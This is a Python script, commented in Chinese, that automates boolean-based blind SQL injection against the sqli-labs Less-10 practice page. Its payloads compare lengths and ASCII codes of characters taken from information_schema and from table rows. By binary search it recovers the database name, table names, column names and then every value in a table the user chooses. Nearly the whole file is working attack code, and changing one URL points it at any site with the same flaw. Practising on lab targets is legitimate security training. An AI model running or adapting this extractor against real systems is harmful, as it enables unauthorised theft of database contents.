#!/usr/bin/env Python 3.7.4
import urllib.request
url = "http://192.168.1.128/sqli-labs-master/Less-10/?id=1"#自定义攻击的url
success_str = "You are in..........."
database = "database()"
length_payload = "' and length(%s)>=%d #"
ascii_payload = "' and ascii(substr((%s),%d,1))>=%d #"
select_db = "select database()"
select_table_count_payload = "'and (select count(table_name)" \
" from information_schema.tables where table_schema='%s')>=%d #"
select_table_name_length_payload_front = "'and (select length(table_name) " \
"from information_schema.tables where table_schema='%s' " \
"limit "
select_table_count_payload_behind = ",1)>=%d #"
select_table = "select table_name from information_schema.tables " \
"where table_schema='%s' limit %d,1"
def get_length_result(payload, string, length):
"""
发送请求,根据页面的返回的判断长度的猜测结果
:param length:当前猜解长度
:param payload:使用的payload
:param string:猜测的字符串
:return:猜解结果布尔值
"""
final_url = url + urllib.request.quote(payload % (string, length))
res = urllib.request.urlopen(final_url) # 打开并将爬取的网页赋值给res
echo = res.read().decode("utf-8")
if success_str in echo:
return True
else:
return False
def get_length_string(payload, string):
"""
猜解字符串长度
:param string:
:param payload:payload
:return:猜解长度
"""
length_left = 0
length_right = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if get_length_result(payload, string, guess):
# 猜解值增5
guess += 5
else:
length_right = guess
break
# 二分法猜长度
mid = (length_left + length_right) / 2
while length_left < length_right - 1:
# 如果长度大于等于mid
if get_length_result(payload, string, mid):
# 更新长度的左边界为mid
length_left = mid
else:
# 更新长度右边界为mid
length_right = mid
# 更新中间值
mid = (length_left + length_right) / 2
return length_left
def get_result(ascii_payload, select_db, i, mid):
"""
获取ASCII码值比较结果
:param ascii_payload:
:param select_db:
:param i:
:param mid:
:return:
"""
final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
res = urllib.request.urlopen(final_url)
if success_str in res.read().decode("utf-8"):
return True
else:
return False
def get_name(ascii_payload, select_db, length_DB_name):
"""
根据数据库名长度获取数据库名
:type ascii_payload:
:param ascii_payload: 获取当前字符的ASCII码值的payload
:param select_db:获取当前数据库名
:param length_DB_name: 数据库名的长度
:return: 返回数据库名
"""
tmp = ''
for i in range(1, length_DB_name + 1):
left_letter = 32 # 32 为空格
right_letter = 127 # 127为删除
mid = int((left_letter + right_letter) / 2)
while left_letter < right_letter - 1:
# 如果第i个字符的ASCII码值大于等于mid
if get_result(ascii_payload, select_db, i, mid):
# 更新左边界
left_letter = mid
else:
# 更新右边界
right_letter = mid
# 更新中间值
mid = int((left_letter + right_letter) / 2)
tmp += chr(left_letter)
return tmp
def get_tables_name(table_count, dbname):
"""
获取数据库中的所有表名
:return:给定数据库中的所有表名
"""
tables = [] # 定义列表来存放表名
for i in range(0, table_count):
# 第几个表
num = str(i)
# 获取当前这个表的长度
select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
select_table_name = select_table % (dbname, i)
table_name = get_name(ascii_payload, select_table_name, table_name_length)
tables.append(table_name)
return tables
def get_table_data(column_count, dbname, table_name, data_count):
"""
获取指定表的字段名
:param dbname: 数据库名
:param data_count: 表中有多少行数据
:param column_count: 字段数量
:param table_name: 表名
:return:
"""
fields_value = [] # 定义字段值列表
fields_name = [] # 定义字段名列表
for i in range(0, column_count):
# 获取当前列字段名长度
get_field_name_length_payload = "'and (select length(column_name)" \
" from information_schema.columns " \
"where table_schema='" + dbname + \
"' and table_name='%s' limit " + str(i) + ",1)>=%d #"
field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
# 获取该列名字
get_field_name_payload = "select column_name from information_schema.columns " \
"where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
select_field_name_payload = get_field_name_payload % (table_name, i)
field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
fields_name.append(field_name)
# 获取当前列的所有数据
for j in range(0, data_count):
field_value_payload = "'and (select length(" \
+ field_name + ") from %s limit " + str(j) + ",1)>=%d #"
field_value_length = int(get_length_string(field_value_payload, table_name))
select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
fields_value.append(field_value)
return fields_name, fields_value
def inject():
"""
注入
:return:
"""
# 猜解数据库名长度
length_DB_name = int(get_length_string(length_payload, database))
print("当前数据库名长度:" + str(length_DB_name))
# 获取数据库名称
DB_name = get_name(ascii_payload, select_db, length_DB_name)
print("当前数据库名:" + DB_name)
# 获取数据库中表的数量
table_count = int(get_length_string(select_table_count_payload, DB_name))
print("数据库" + DB_name + "表的数量:" + str(table_count))
# 获取数据库中的表
tables_name = get_tables_name(table_count, DB_name)
print("数据库" + DB_name + "中的表:")
print(tables_name)
# 选择表
select_table=input("请选择表:")
if select_table in tables_name:
print('选择的表是'+select_table)
else:
print('该表不在数据库中,请检查输入是否正确!')
# 获取该指定表有多少行数据
data_count_payload = "' and (select count(*) from %s)>=%d #"
data_count = int(get_length_string(data_count_payload, select_table))
print(select_table+"表中有" + str(data_count) + "行数据")
# 获取指定表的字段的数量
select_column_count_payload = "'and (select count(column_name) " \
"from information_schema.columns where table_schema='" \
+ DB_name + "' and table_name='%s')>=%d #"
column_count = int(get_length_string(select_column_count_payload, select_table))
print(select_table+"表中有" + str(column_count) + "个字段")
# 获取并打印指定表中的字段名
fields_name, fields_value = get_table_data(column_count, DB_name, select_table, data_count)
# 格式化打印指定表的所有数据
for i in range(0, len(fields_name)):
print(fields_name[i] + "\t", end='')
print()
for i in range(0, int(data_count)):
print(fields_value[0 + i] + "\t", end='')
print(fields_value[int(data_count) + i] + "\t", end='')
if column_count-2>0:
print(fields_value[int(data_count)*2 + i])
else:
print()
def main():
inject()
main()